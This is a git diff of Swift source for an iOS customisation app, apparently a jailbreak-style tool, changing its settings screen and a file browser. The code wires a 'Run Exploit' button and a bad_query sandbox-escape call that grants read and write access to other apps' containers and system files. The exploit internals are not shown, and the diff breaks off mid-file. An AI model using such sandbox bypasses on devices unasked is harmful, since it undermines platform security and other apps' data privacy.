Bundle.main.object(forInfoDictionaryKey: "CFBundleName") as? String - ?? "Unknown App") - .font(.headline) - - Text("\(Bundle.main.object(forInfoDictionaryKey: "CFBundleShortVersionString") as? String ?? "1.0")") - .font(.subheadline) - .foregroundStyle(.secondary) - } - - Spacer() - - Image(systemName: "chevron.right") - .fontWeight(.semibold) - .foregroundStyle(.tertiary) - .imageScale(.small) - } - } - .foregroundColor(.primary) - } - - Section { - Picker("Method", selection: $method) { - Text("bad_query").tag("bad_query") - Text("cmg").tag("cmg") - } - .pickerStyle(.segmented) - - Button { - grant_all(state: state) - } label: { - Text("Run Exploit") - } - } header: { - Label("Exploit", systemImage: "wrench.and.screwdriver") - } footer: { - Text(method == "cmg" ? "**CMG:** Supports iOS 27.0 b1 - b4. Only MobileGestalt will work with this method. Only use this when bad_query isnt working for you." : "**bad_query:** Supports iOS 27.0 b1 - b4. By [forcequit](https://github.com/forcequitOS).") - } - - Section { - TextField("Sandbox Extension Token.", text: $token) - .contextMenu { - Text("Class: \(token.split(separator: ";").first { $0.contains("com.apple") }.map(String.init) ?? "N/A")") - Text("Path: \(token.split(separator: ";").last.map(String.init) ?? "N/A")") - - Button { - UIPasteboard.general.string = token - } label: { - Label("Copy Token", systemImage: "doc.on.doc") - } - } - .lineLimit(1) - - Button { - token = sandbox_extension_issue_file(path: TweakPaths.gestalt_dir) ?? "Failed to get token." - } label: { - Text("Generate Token") - } - .disabled(!state.exploit_succeeded) - } header: { - Label("Token", systemImage: "key") - } footer: { - if !token.isEmpty && token != "Failed to get token." { - if valid { - Text("Your sandbox token is valid.") - } else { - Text("Your sandbox token is invalid.") - } - } - - if !state.exploit_succeeded { - Text("Disabled because the exploit failed. Is your iOS version supported?") - } - } - - Section { - PlainToggle(text: "Keep Alive", infoType: .info, infoMessage: "Keeps the app running in the background after you close it, allowing it to remain active.", isOn: $ka_on) - .onChange(of: ka_on) { _, enabled in - if enabled { - keep_alive() - } else { - let_die() - } - } - - PlainToggle(text: "Dismiss after importing", infoType: .info, infoMessage: "When enabled, the Tendies explorer will close automatically after importing a .tendies file into PosterBoard.", isOn: $dismiss_after_import) - - PlainToggle(text: "Persist after reboot", infoType: .info, infoMessage: "When enabled, MobileGestalt is written in-place on the same inode, which (hopefully) prevents iOS from regenerating the cache on reboot. Disable to use atomic file replacement instead.", isOn: $atomic_write) - - PlainToggle(text: "Ignore exploit failure", infoType: .info, infoMessage: "When enabled, All Tweaks will be accessible even if the exploit failed.", isOn: $ignore_failure) - } header: { - Label("Settings", systemImage: "gear") - } - - Section { - Button { - show_confirm = true - } label: { - Text("Respring") - } - } header: { - Label("Tools", systemImage: "wrench.and.screwdriver") - } footer: { - Text("Respring method by [neon](https://github.com/neonmodder123), swift implementation by [skadz](https://github.com/skadz108).") - } - - Section { - CreditsRow(name: "roooot", role: "Main developer", profile: URL(string: "https://github.com/rooootdev")!) - CreditsRow(name: "forcequit", role: "The bad_query exploit", profile: URL(string: "https://github.com/forcequitOS")!) - CreditsRow(name: "johnny", role: "His work on the MCM bug class", profile: URL(string: "https://github.com/0xjohnnydev")!) - CreditsRow(name: "jailbreak.party", role: "PartyUI, GestaltView", profile: URL(string: "https://github.com/jailbreakdotparty")!) - CreditsRow(name: "SerStars", role: "Tendies repository", profile: URL(string: "https://github.com/SerStars")!) - } header: { - Label("Credits", systemImage: "person.3.fill") - } - } - .navigationTitle("Settings") - .toolbar { - ToolbarItem(placement: .navigationBarTrailing) { - HStack { - Button { - dismiss() - } label: { - Text("Done") - } - } - } - } - .alert("Are you sure?", isPresented: $show_confirm) { - Button("Cancel") { - show_confirm = false - } - - Button("Confirm") { - state.respring() - } - } message: { - Text("Confirm that you want to respring.") - } - } - } -} - -struct CreditsRow: View { - let name: String - let role: String - let profile: URL - - private var pfp: URL? { - URL(string: profile.absoluteString + ".png") - } - - var body: some View { - HStack(alignment: .top) { - AsyncImage(url: pfp) { image in - image - .resizable() - .scaledToFill() - } placeholder: { - ProgressView() - } - .frame(width: 40, height: 40) - .clipShape(Circle()) - - VStack(alignment: .leading) { - Text(name) - .font(.headline) - - Text(role) - .font(.subheadline) - .foregroundColor(.secondary) - } - - Spacer() - } - .onTapGesture { - UIApplication.shared.open(profile) - } - } -} +// +// SettingsView.swift +// mond +// +// Created by ruter on 18.07.26. +// + +import SwiftUI +import PartyUI + +struct SettingsView: View { + @Environment(\.dismiss) private var dismiss + @EnvironmentObject var state: AppState + + @AppStorage("method") private var method: String = "bad_query" + @AppStorage("ka_on") private var ka_on = true + @AppStorage("token") private var token: String = "" + @AppStorage("dismiss_after_import") private var dismiss_after_import = false + @AppStorage("atomic_write") private var atomic_write = true + @AppStorage("ignore_failure") private var ignore_failure = false + + @State private var show_confirm: Bool = false + @State private var show_language_picker: Bool = false + @ObservedObject private var language_manager = LanguageManager.shared + + var valid: Bool { + (sandbox_extension_consume(token) ?? -1) >= 0 + } + + var body: some View { + NavigationStack { + List { + Section { + Button { + if let url = URL(string: "https://github.com/rooootdev/mond"), + UIApplication.shared.canOpenURL(url) { + UIApplication.shared.open(url) + } + } label: { + HStack { + if let icons = Bundle.main.infoDictionary?["CFBundleIcons"] as? [String: Any], + let primary = icons["CFBundlePrimaryIcon"] as? [String: Any], + let files = primary["CFBundleIconFiles"] as? [String], + let icon = files.last, + let img = UIImage(named: icon) { + Image(uiImage: img) + .resizable() + .frame(width: 45, height: 45) + .cornerRadius(12) + } + + VStack(alignment: .leading) { + Text(Bundle.main.object(forInfoDictionaryKey: "CFBundleDisplayName") as? String + ?? Bundle.main.object(forInfoDictionaryKey: "CFBundleName") as? String + ?? NSLocalizedString("unknown_app", tableName: "SettingsView", comment: "Fallback app name")) + .font(.headline) + + Text("\(Bundle.main.object(forInfoDictionaryKey: "CFBundleShortVersionString") as? String ?? "1.0")") + .font(.subheadline) + .foregroundStyle(.secondary) + } + + Spacer() + + Image(systemName: "chevron.right") + .fontWeight(.semibold) + .foregroundStyle(.tertiary) + .imageScale(.small) + } + } + .foregroundColor(.primary) + } + + Section { + Picker(NSLocalizedString("method", tableName: "SettingsView", comment: "Method picker label"), selection: $method) { + Text("bad_query").tag("bad_query") + Text("cmg").tag("cmg") + } + .pickerStyle(.segmented) + + Button { + grant_all(state: state) + } label: { + Text(NSLocalizedString("run_exploit", tableName: "SettingsView", comment: "Run exploit button label")) + } + } header: { + Label(NSLocalizedString("exploit", tableName: "SettingsView", comment: "Exploit section header"), systemImage: "wrench.and.screwdriver") + } footer: { + if (method == "cmg") { + Text(try! AttributedString(markdown:NSLocalizedString("exploit_method_cmg", tableName: "SettingsView", comment: "CMG supported versions footer text"))) + } else { + Text(try! AttributedString(markdown:NSLocalizedString("exploit_method_bad_query", tableName: "SettingsView", comment: "bad_query supported versions footer text"))) + } + } + + Section { + TextField(NSLocalizedString("sandbox_extension_token", tableName: "SettingsView", comment: "Sandbox token field label"), text: $token) + .contextMenu { + Text((NSLocalizedString("token_class", comment: "Token class label") + "\(token.split(separator: ";").first { $0.contains("com.apple") }.map(String.init) ?? "N/A")")) + Text((NSLocalizedString("token_path", comment: "Token path label") + " \(token.split(separator: ";").last.map(String.init) ?? "N/A")")) + + Button { + UIPasteboard.general.string = token + } label: { + Label(NSLocalizedString("copy_token", tableName: "SettingsView", comment: "Copy token context menu label"), systemImage: "doc.on.doc") + } + } + .lineLimit(1) + + Button { + token = sandbox_extension_issue_file(path: TweakPaths.gestalt_dir) ?? NSLocalizedString("failed_to_get_token", tableName: "SettingsView", comment: "Failed token fallback") + } label: { + Text(NSLocalizedString("generate_token", tableName: "SettingsView", comment: "Generate token button label")) + } + .disabled(!state.exploit_succeeded) + } header: { + Label(NSLocalizedString("token", tableName: "SettingsView", comment: "Token section label"), systemImage: "key") + } footer: { + if !token.isEmpty && token != NSLocalizedString("failed_to_get_token", tableName: "SettingsView", comment: "Failed token fallback") { + if valid { + Text(NSLocalizedString("sandbox_token_valid", tableName: "SettingsView", comment: "Valid token footer text")) + } else { + Text(NSLocalizedString("sandbox_token_invalid", tableName: "SettingsView", comment: "Invalid token footer text")) + } + } + + if !state.exploit_succeeded { + Text(NSLocalizedString("exploit_failed_version", tableName: "SettingsView", comment: "Exploit failed footer text")) + } + } + + Section { + PlainToggle(text: NSLocalizedString("keep_alive", tableName: "SettingsView", comment: "Keep alive toggle label"), infoType: .info, + infoTitle: NSLocalizedString("information", comment: ""), + infoMessage: NSLocalizedString("keep_alive_info", tableName: "SettingsView", comment:""), isOn: $ka_on) + .onChange(of: ka_on) { _, enabled in + if enabled { + keep_alive() + } else { + let_die() + } + } + + PlainToggle(text: NSLocalizedString("dismiss_after_importing", tableName: "SettingsView", comment: "Dismiss after import toggle label"), infoType: .info, + infoTitle: NSLocalizedString("information", comment: ""), + infoMessage: NSLocalizedString("dismiss_after_importing_info", tableName: "SettingsView", comment: "Dismiss after import info message"), isOn: $dismiss_after_import) + PlainToggle(text: NSLocalizedString("persist_after_reboot", tableName: "SettingsView", comment: ""), infoType: .info, + infoTitle: NSLocalizedString("information", comment: ""), + infoMessage: NSLocalizedString("persist_after_reboot_info", tableName: "SettingsView", comment: ""), isOn: $atomic_write) + PlainToggle(text: NSLocalizedString("ignore_exploit_failure", tableName: "SettingsView", comment: ""), infoType: .info, + infoTitle: NSLocalizedString("information", comment: ""), + infoMessage: NSLocalizedString("ignore_exploit_failure_info", tableName: "SettingsView", comment: ""), isOn: $ignore_failure) + } header: { + Label(NSLocalizedString("settings", tableName: "SettingsView", comment: "Settings section label"), systemImage: "gear") + } + + Section { + Button { + show_confirm = true + } label: { + Text(NSLocalizedString("respring", comment: "Respring button label")) + } + } header: { + Label(NSLocalizedString("tools", tableName: "SettingsView", comment: "Tools section label"), systemImage: "wrench.and.screwdriver") + } footer: { + Text(try! AttributedString(markdown:NSLocalizedString("respring_method_credits", tableName: "SettingsView", comment: "Respring info footer text"))) + } + + Section { + CreditsRow(name: "roooot", role: NSLocalizedString("credit_main_developer", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/rooootdev")!) + CreditsRow(name: "forcequit", role: NSLocalizedString("credit_bad_query_exploit", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/forcequitOS")!) + CreditsRow(name: "johnny", role: NSLocalizedString("credit_mcm_bug_class", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/0xjohnnydev")!) + CreditsRow(name: "jailbreak.party", role: NSLocalizedString("credit_partyui_gestaltview", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/jailbreakdotparty")!) + CreditsRow(name: "SerStars", role: NSLocalizedString("credit_tendies_repo", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/SerStars")!) + CreditsRow(name: "Hikariman", role: NSLocalizedString("credit_locaclization_project", tableName: "SettingsView", comment: ""), profile: URL(string: "https://github.com/ISvet228")!) + } header: { + Label(NSLocalizedString("credits", tableName: "SettingsView", comment: "Credits section label"), systemImage: "person.3.fill") + } + + Section { + Button { + show_language_picker = true + } label: { + HStack { + Label(NSLocalizedString("language", tableName: "LanguageView", comment: "Language row label"), systemImage: "globe") + + Spacer() + + Text(current_language_label) + .foregroundStyle(.secondary) + } + } + .foregroundColor(.primary) + } + } + .navigationTitle(NSLocalizedString("settings", tableName: "SettingsView", comment: "Settings view title")) + .toolbar { + ToolbarItem(placement: .navigationBarTrailing) { + HStack { + Button { + dismiss() + } label: { + Text(NSLocalizedString("done", comment: "Done button label")) + } + } + } + } + .alert(NSLocalizedString("are_you_sure", tableName: "SettingsView", comment: "Alert title"), isPresented: $show_confirm) { + Button(NSLocalizedString("cancel", comment: "Cancel button label")) { + show_confirm = false + } + + Button(NSLocalizedString("confirm", tableName: "SettingsView", comment: "Confirm button label")) { + state.respring() + } + } message: { + Text(NSLocalizedString("confirm_respring", tableName: "SettingsView", comment: "Confirm respring message")) + } + .sheet(isPresented: $show_language_picker) { + LanguageView() + } + } + } + + private var current_language_label: String { + if language_manager.current == "system" { + return NSLocalizedString("system_default", tableName: "LanguageView", comment: "System default language option") + } + return AppLanguage.supported.first { $0.id == language_manager.current }?.nativeName ?? "" + } +} + +struct CreditsRow: View { + let name: String + let role: String + let profile: URL + + private var pfp: URL? { + URL(string: profile.absoluteString + ".png") + } + + var body: some View { + HStack(alignment: .top) { + AsyncImage(url: pfp) { image in + image + .resizable() + .scaledToFill() + } placeholder: { + ProgressView() + } + .frame(width: 40, height: 40) + .clipShape(Circle()) + + VStack(alignment: .leading) { + Text(name) + .font(.headline) + + Text(role) + .font(.subheadline) + .foregroundColor(.secondary) + } + + Spacer() + } + .onTapGesture { + UIApplication.shared.open(profile) + } + } +} \ No newline at end of file diff --git a/mond/views/tweaks/SantanderView.swift b/mond/views/tweaks/SantanderView.swift index 6070335..818a400 100644 --- a/mond/views/tweaks/SantanderView.swift +++ b/mond/views/tweaks/SantanderView.swift @@ -1,766 +1,766 @@ -// -// SantanderView.swift -// mond -// -// Created by ruter on 14.08.26. -// - -import SwiftUI -import AVKit -import AVFoundation -import UniformTypeIdentifiers -import ImageIO - -struct SantanderPath: Hashable { - let url: URL - let last_path_component: String - let display_name: String? - let is_directory: Bool - let content_type: UTType? - - var path: String { url.path } - var title: String { display_name ?? (path == "/" ? "/" : last_path_component) } - var is_hidden: Bool { last_path_component.hasPrefix(".") } - - var icon_name: String { - if is_directory { return "folder.fill" } - guard let type = content_type else { return "doc" } - if type.isSubtype(of: .text) { return "doc.text" } - if type.isSubtype(of: .image) { return "photo" } - if type.isSubtype(of: .audio) { return "waveform" } - if type.isSubtype(of: .movie) || type.isSubtype(of: .video) { return "play" } - return "doc" - } - - nonisolated init(url: URL) { - self.url = url - self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent - let values = try? url.resourceValues(forKeys: [.contentTypeKey]) - var is_dir = ObjCBool(false) - let exists = FileManager.default.fileExists(atPath: url.path, isDirectory: &is_dir) - self.is_directory = exists && is_dir.boolValue - self.content_type = values?.contentType - self.display_name = nil - } - - nonisolated init(url: URL, is_directory: Bool) { - self.url = url - self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent - self.is_directory = is_directory - self.content_type = nil - self.display_name = nil - } - - nonisolated init(url: URL, display_name: String?, is_directory: Bool) { - self.url = url - self.last_path_component = url.path == "/" ? "/" : url.lastPathComponent - self.display_name = display_name - self.is_directory = is_directory - self.content_type = nil - } -} - -struct SantanderView: View { - var body: some View { - SantanderDirectoryView(path: SantanderPath( - url: URL(fileURLWithPath: "/private/var/mobile/Containers/Data/Application/"), - is_directory: true - )) - } -} - -private struct SantanderDirectoryListing { - let items: [SantanderPath] - let empty_state_message: String? -} - -struct SantanderDirectoryView: View { - let path: SantanderPath - - @State private var items: [SantanderPath] = [] - @State private var empty_message: String? - @State private var is_loading = true - @State private var search_text = "" - @State private var sort_ascending = true - @State private var display_hidden_files = true - - var body: some View { - content - .navigationTitle(path.title) - .searchable(text: $search_text, placement: .navigationBarDrawer(displayMode: .always)) - .toolbar { toolbar } - .task { load() } - } - - @ViewBuilder - private var content: some View { - if is_loading { - ProgressView() - } else if rendered_items.isEmpty { - ContentUnavailableView(empty_state_message, systemImage: "folder") - } else { - list - } - } - - private var list: some View { - List(rendered_items, id: \.self) { item in - if item.is_directory { - NavigationLink { - SantanderDirectoryView(path: item) - } label: { - row(for: item) - } - } else { - NavigationLink { - SantanderFileView(path: item) - } label: { - row(for: item) - } - } - } - .listStyle(.insetGrouped) - } - - private func row(for item: SantanderPath) -> some View { - HStack(spacing: 12) { - Image(systemName: item.icon_name) - .foregroundStyle(item.is_directory ? Color.accentColor : Color.secondary) - .frame(width: 28) - Text(item.title) - .foregroundStyle(item.is_hidden ? Color.secondary : Color.primary) - .lineLimit(1) - } - } - - @ToolbarContentBuilder - private var toolbar: some ToolbarContent { - ToolbarItem(placement: .topBarTrailing) { - Menu { - NavigationLink { - SantanderDirectoryView(path: root_path) - } label: { - Label("Go to Root", systemImage: "externaldrive") - } - NavigationLink { - SantanderDirectoryView(path: home_path) - } label: { - Label("Go to Home", systemImage: "house") - } - Divider() - Toggle("Display hidden files", isOn: $display_hidden_files) - Divider() - Button { - sort_ascending = true - } label: { - Label("Sort A-Z", systemImage: "textformat") - } - Button { - sort_ascending = false - } label: { - Label("Sort Z-A", systemImage: "textformat") - } - } label: { - Image(systemName: "ellipsis.circle") - } - } - } - - private var root_path: SantanderPath { - SantanderPath(url: URL(fileURLWithPath: "/"), is_directory: true) - } - - private var home_path: SantanderPath { - SantanderPath(url: URL(fileURLWithPath: NSHomeDirectory()), is_directory: true) - } - - private var rendered_items: [SantanderPath] { - var result = items - if !display_hidden_files { - result.removeAll { $0.is_hidden } - } - let query = search_text.trimmingCharacters(in: .whitespacesAndNewlines) - if !query.isEmpty { - result = result.filter { - $0.title.localizedCaseInsensitiveContains(query) || $0.path.localizedCaseInsensitiveContains(query) - } - } - if sort_ascending { - result.sort { $0.title.localizedCaseInsensitiveCompare($1.title) == .orderedAscending } - } else { - result.sort { $0.title.localizedCaseInsensitiveCompare($1.title) == .orderedDescending } - } - return result - } - - private var empty_state_message: String { - if !search_text.isEmpty { return "No matching items." } - if !display_hidden_files && !items.isEmpty { - return "No visible items. Enable \"Display hidden files\" to show dotfiles." - } - return empty_message ?? "Directory is empty." - } - - private func load() { - is_loading = true - let path = path - DispatchQueue.global(qos: .userInitiated).async { - let listing = Self.load_directory_contents(for: path) - DispatchQueue.main.async { - self.items = listing.items - self.empty_message = listing.empty_state_message - self.is_loading = false - } - } - } - - private static func load_directory_contents(for path: SantanderPath) -> SantanderDirectoryListing { - let apps_root = "/var/mobile/Containers/Data/Application" - - var normalized = path.path - if normalized.hasPrefix("/private/") { normalized.removeFirst("/private/".count - 1) } - if normalized.hasSuffix("/") { normalized.removeLast() } - - if normalized == apps_root { - let items = list_containers(apps_root).map { container in - let url = URL(fileURLWithPath: container, isDirectory: true) - return SantanderPath(url: url, display_name: bundle_id(for: url), is_directory: true) - } - if items.isEmpty { - return SantanderDirectoryListing(items: [], empty_state_message: "No app containers found.") - } - return SantanderDirectoryListing(items: items, empty_state_message: nil) - } - - if let listing = try_direct_listing(for: path) { - return listing - } - - var grant_c = path.path.utf8CString.map { Int8($0) } - let handle = bad_query(&grant_c, true, nil, false, nil) - if handle >= 0, let listing = try_direct_listing(for: path) { - return listing - } - - return SantanderDirectoryListing(items: [], empty_state_message: "Cannot list directory (missing permissions).") - } - - private static func try_direct_listing(for path: SantanderPath) -> SantanderDirectoryListing? { - guard path.is_directory else { - return SantanderDirectoryListing(items: [], empty_state_message: "Not a directory.") - } - - let fm = FileManager.default - var is_dir = ObjCBool(false) - let exists = fm.fileExists(atPath: path.path, isDirectory: &is_dir) - if !exists || !is_dir.boolValue { - return nil - } - if !fm.isReadableFile(atPath: path.path) { - return nil - } - - do { - let urls = try fm.contentsOfDirectory(at: path.url, includingPropertiesForKeys: nil) - let items = urls.map(SantanderPath.init(url:)) - return SantanderDirectoryListing(items: items, empty_state_message: items.isEmpty ? "Directory is empty." : nil) - } catch { - return nil - } - } - - private static func bundle_id(for container: URL) -> String? { - let candidates = [ - container.appendingPathComponent(".com.apple.mobile_container_manager.metadata.plist"), - container.appendingPathComponent("com.apple.mobile_container_manager.metadata.plist") - ] - - for url in candidates { - if let data = try? Data(contentsOf: url), let id = metadata_identifier(from: data) { - return id - } - } - - for url in candidates { - if let id = pb.read_meta_key(at: url, key: "MCMMetadataIdentifier") { - return id - } - } - - return nil - } - - private static func metadata_identifier(from data: Data) -> String? { - let plist = try? PropertyListSerialization.propertyList(from: data, options: [], format: nil) as? [String: Any] - return plist?["MCMMetadataIdentifier"] as? String - } -} - -struct SantanderFileView: View { - let path: SantanderPath - - @State private var is_editing = false - @State private var is_editable = false - @State private var edit_text = "" - @State private var original_encoding: String.Encoding = .utf8 - @State private var original_plist_format: PropertyListSerialization.PropertyListFormat? - @State private var save_error: String? - - private enum PreviewKind { - case image - case video - case audio - case text - } - - var body: some View { - content - .navigationTitle(path.title) - .toolbar { - ToolbarItemGroup(placement: .topBarTrailing) { - if is_editing { - Button("Cancel") { - is_editing = false - } - Button("Save") { - save() - } - } else { - ShareLink(item: path.url) { - Image(systemName: "square.and.arrow.up") - } - if is_editable { - Button { - begin_editing() - } label: { - Image(systemName: "square.and.pencil") - } - } - } - } - } - .task { - if preview_kind == .text, - Self.grant_file_read(path.path), - let data = try? Data(contentsOf: path.url) { - is_editable = Self.decode_text(from: data) != nil - || Self.plist_editor_content(from: data) != nil - } - } - .alert("Save Failed", isPresented: Binding( - get: { save_error != nil }, - set: { if !$0 { save_error = nil } } - )) { - Button("OK", role: .cancel) {} - } message: { - Text(save_error ?? "") - } - } - - @ViewBuilder - private var content: some View { - if is_editing { - TextEditor(text: $edit_text) - .font(.system(size: 13, design: .monospaced)) - .padding(4) - } else { - switch preview_kind { - case .image: - image_preview - case .video: - MediaPlayerView(url: path.url, is_audio: false) - case .audio: - MediaPlayerView(url: path.url, is_audio: true) - case .text: - text_preview - } - } - } - - private var image_preview: some View { - Group { - if let image = load_image() { - image - .resizable() - .scaledToFit() - .frame(maxWidth: .infinity, maxHeight: .infinity) - .background(Color.black) - } else { - ContentUnavailableView(failure_text("Failed to render image"), systemImage: "photo") - } - } - } - - private var text_preview: some View { - ScrollView { - Text(Self.render_file(at: path.url)) - .font(.system(size: 13, design: .monospaced)) - .textSelection(.enabled) - .frame(maxWidth: .infinity, alignment: .leading) - .padding() - } - } - - private func begin_editing() { - guard Self.grant_file_read(path.path), - let data = try? Data(contentsOf: path.url) else { - return - } - if let (text, format) = Self.plist_editor_content(from: data) { - edit_text = text - original_encoding = .utf8 - original_plist_format = format - is_editing = true - return - } - guard let (text, encoding) = Self.decode_text_encoding(from: data) else { - return - } - edit_text = text - original_encoding = encoding - original_plist_format = nil - is_editing = true - } - - private func save() { - guard Self.grant_file_write(path.path) else { - save_error = "Missing write permission." - return - } - if let format = original_plist_format { - save_plist(format: format) - return - } - guard let data = edit_text.data(using: original_encoding) else { - save_error = "Could not encode text." - return - } - do { - try data.write(to: path.url) - is_editing = false - } catch { - save_error = error.localizedDescription - } - } - - private func save_plist(format: PropertyListSerialization.PropertyListFormat) { - guard let edited_data = edit_text.data(using: .utf8) else { - save_error = "Could not encode text." - return - } - let object: Any - if let json = try? JSONSerialization.jsonObject(with: edited_data) { - object = json - } else if let plist = try? PropertyListSerialization.propertyList(from: edited_data, options: [], format: nil) { - object = plist - } else { - save_error = "Edited text is not a valid plist/JSON document." - return - } - do { - let out_data = try PropertyListSerialization.data(fromPropertyList: object, format: format, options: 0) - try out_data.write(to: path.url) - is_editing = false - } catch { - save_error = error.localizedDescription - } - } - - private var preview_kind: PreviewKind { - if let type = path.content_type { - if type.isSubtype(of: .image) { return .image } - if type.isSubtype(of: .movie) || type.isSubtype(of: .video) { return .video } - if type.isSubtype(of: .audio) { return .audio } - return .text - } - - let ext = path.url.pathExtension.lowercased() - if ["png", "jpg", "jpeg", "gif", "heic", "heif", "bmp", "tif", "tiff", "webp"].contains(ext) { - return .image - } - if ["mp4", "mov", "m4v", "avi", "mkv"].contains(ext) { - return .video - } - if [ - "mp3", "m4a", "m4b", "m4p", "aac", "aiff", "aif", "aifc", "wav", "wave", - "caf", "flac", "alac", "opus", "oga", "ogg", "mka", "wma", "ac3", "eac3", - "amr", "3gp", "3gpp", "3g2", "au", "snd", "mp2", "mp1", "ape", "tta", "wv" - ].contains(ext) { - return .audio - } - return .text - } - - private func load_image() -> Image? { - _ = Self.grant_file_read(path.path) - guard let source = CGImageSourceCreateWithURL(path.url as CFURL, nil), - let cg_image = CGImageSourceCreateImageAtIndex(source, 0, nil) else { - return nil - } - return Image(decorative: cg_image, scale: 1) - } - - private func failure_text(_ title: String) -> String { - """ - \(title): - \(path.path) - - \(Self.unreadable_file_details(for: path.url)) - """ - } - - private static func grant_file_read(_ path: String) -> Bool { - let fm = FileManager.default - if fm.isReadableFile(atPath: path) { - return true - } - var path_c = path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - return handle >= 0 && fm.isReadableFile(atPath: path) - } - - private static func grant_file_write(_ path: String) -> Bool { - let fm = FileManager.default - if fm.isWritableFile(atPath: path) { - return true - } - var path_c = path.utf8CString.map { Int8($0) } - let handle = bad_query(&path_c, true, nil, false, nil) - return handle >= 0 && fm.isWritableFile(atPath: path) - } - - private static func render_file(at url: URL) -> String { - let data: Data - do { - data = try Data(contentsOf: url, options: .mappedIfSafe) - } catch { - guard grant_file_read(url.path), - let granted = try? Data(contentsOf: url, options: .mappedIfSafe) else { - return """ - Failed to read file: - \(url.path) - Error: \(error.localizedDescription) - - \(unreadable_file_details(for: url)) - """ - } - data = granted - } - - if data.isEmpty { - return "(empty file)" - } - - if let plist = decode_property_list(from: data) { - return plist - } - - if let text = decode_text(from: data) { - return text - } - - return binary_preview(from: data) - } - - private static func unreadable_file_details(for url: URL) -> String { - let fm = FileManager.default - var lines: [String] = [] - - var is_dir = ObjCBool(false) - let exists = fm.fileExists(atPath: url.path, isDirectory: &is_dir) - lines.append("Exists: \(exists ? "yes" : "no")") - if exists { - lines.append("Kind: \(is_dir.boolValue ? "directory" : "regular item")") - } - - let keys: Set = [ - .contentTypeKey, - .isSymbolicLinkKey, - .isAliasFileKey, - .fileSizeKey - ] - if let values = try? url.resourceValues(forKeys: keys) { - if let type = values.contentType { - lines.append("UTType: \(type.identifier)") - } - if let size = values.fileSize { - lines.append("Size: \(size) bytes") - } - if let is_symlink = values.isSymbolicLink { - lines.append("Symlink: \(is_symlink ? "yes" : "no")") - } - if values.isSymbolicLink == true, - let target = try? fm.destinationOfSymbolicLink(atPath: url.path) { - lines.append("Symlink target: \(target)") - } - if let is_alias = values.isAliasFile { - lines.append("Alias file: \(is_alias ? "yes" : "no")") - } - } - - if let attrs = try? fm.attributesOfItem(atPath: url.path) { - if let file_type = attrs[.type] as? FileAttributeType { - lines.append("File attribute type: \(file_type.rawValue)") - } - let owner_name = attrs[.ownerAccountName] as? String - let owner_id = (attrs[.ownerAccountID] as? NSNumber)?.intValue - switch (owner_name, owner_id) { - case let (name?, id?): - lines.append("Owner: \(name) (\(id))") - case let (name?, nil): - lines.append("Owner: \(name)") - case let (nil, id?): - lines.append("Owner ID: \(id)") - default: - break - } - - let group_name = attrs[.groupOwnerAccountName] as? String - let group_id = (attrs[.groupOwnerAccountID] as? NSNumber)?.intValue - switch (group_name, group_id) { - case let (name?, id?): - lines.append("Group: \(name) (\(id))") - case let (name?, nil): - lines.append("Group: \(name)") - case let (nil, id?): - lines.append("Group ID: \(id)") - default: - break - } - if let perms = attrs[.posixPermissions] as? NSNumber { - lines.append(String(format: "POSIX perms: %04o", perms.intValue)) - } - } - - lines.append("Readable: \(fm.isReadableFile(atPath: url.path) ? "yes" : "no")") - lines.append("Writable: \(fm.isWritableFile(atPath: url.path) ? "yes" : "no")") - lines.append("Executable: \(fm.isExecutableFile(atPath: url.path) ? "yes" : "no")") - - return lines.joined(separator: "\n") - } - - private static func decode_property_list(from data: Data) -> String? { - plist_editor_content(from: data)?.0 - } - - private static func plist_editor_content(from data: Data) -> (String, PropertyListSerialization.PropertyListFormat)? { - guard data.starts(with: Data("bplist".utf8)) || data.starts(with: Data(" String? { - decode_text_encoding(from: data)?.0 - } - - private static func decode_text_encoding(from data: Data) -> (String, String.Encoding)? { - let encodings: [String.Encoding] = [ - .utf8, - .utf16, - .utf16LittleEndian, - .utf16BigEndian, - .utf32, - .utf32LittleEndian, - .utf32BigEndian, - .ascii, - .isoLatin1, - .windowsCP1252, - .macOSRoman, - .nonLossyASCII - ] - - for encoding in encodings { - guard let value = String(data: data, encoding: encoding) else { continue } - if looks_like_text(value) { - return (value, encoding) - } - } - return nil - } - - private static func looks_like_text(_ value: String) -> Bool { - if value.isEmpty { return true } - let scalars = value.unicodeScalars - let disallowed = scalars.filter { scalar in - let v = scalar.value - if v == 9 || v == 10 || v == 13 { return false } - if v < 32 { return true } - if v >= 0x7F && v <= 0x9F { return true } - return false - } - return Double(disallowed.count) / Double(scalars.count) < 0.01 - } - - private static func binary_preview(from data: Data) -> String { - let limit = min(data.count, 4096) - let chunk = data.prefix(limit) - var lines: [String] = [] - lines.append("Binary data (\(data.count) bytes). Showing first \(limit) bytes:") - lines.append("") - - var offset = 0 - while offset < chunk.count { - let row = chunk[offset.. String in - if byte >= 32 && byte <= 126 { return String(UnicodeScalar(byte)) } - return "." - }.joined() - lines.append(String(format: "%08X %-47@ %@", offset, hex as NSString, ascii)) - offset += 16 - } - - return lines.joined(separator: "\n") - } -} - -private struct MediaPlayerView: View { - let url: URL - var is_audio: Bool = false - - @State private var player: AVPlayer - - init(url: URL, is_audio: Bool) { - self.url = url - self.is_audio = is_audio - _player = State(initialValue: AVPlayer(url: url)) - } - - var body: some View { - ZStack { - VideoPlayer(player: player) - if is_audio { - Image(systemName: "music.note") - .font(.system(size: 60)) - .foregroundStyle(.secondary) - .allowsHitTesting(false) - } - } - .onAppear { - try? AVAudioSession.sharedInstance().setCategory(.playback, mode: .default, options: []) - try? AVAudioSession.sharedInstance().setActive(true, options: []) - player.play() - } - .onDisappear { - player.pause() - } - } -} +// +// SantanderView.swift +// mond +// +// Created by ruter on 14.08.26. +// + +import SwiftUI +import AVKit +import AVFoundation +import UniformTypeIdentifiers +import ImageIO + +struct SantanderPath: Hashable { + let url: URL + let last_path_component: String + let display_name: String? + let is_directory: Bool + let content_type: UTType? + + var path: String { url.path } + var title: String { display_name ?? (path == "/" ? "/" : last_path_component) } + var is_hidden: Bool { last_path_component.hasPrefix(".") } + + var icon_name: String { + if is_directory { return "folder.fill" } + guard let type = content_type else { return "doc" } + if type.isSubtype(of: .text) { return "doc.text" } + if type.isSubtype(of: .image) 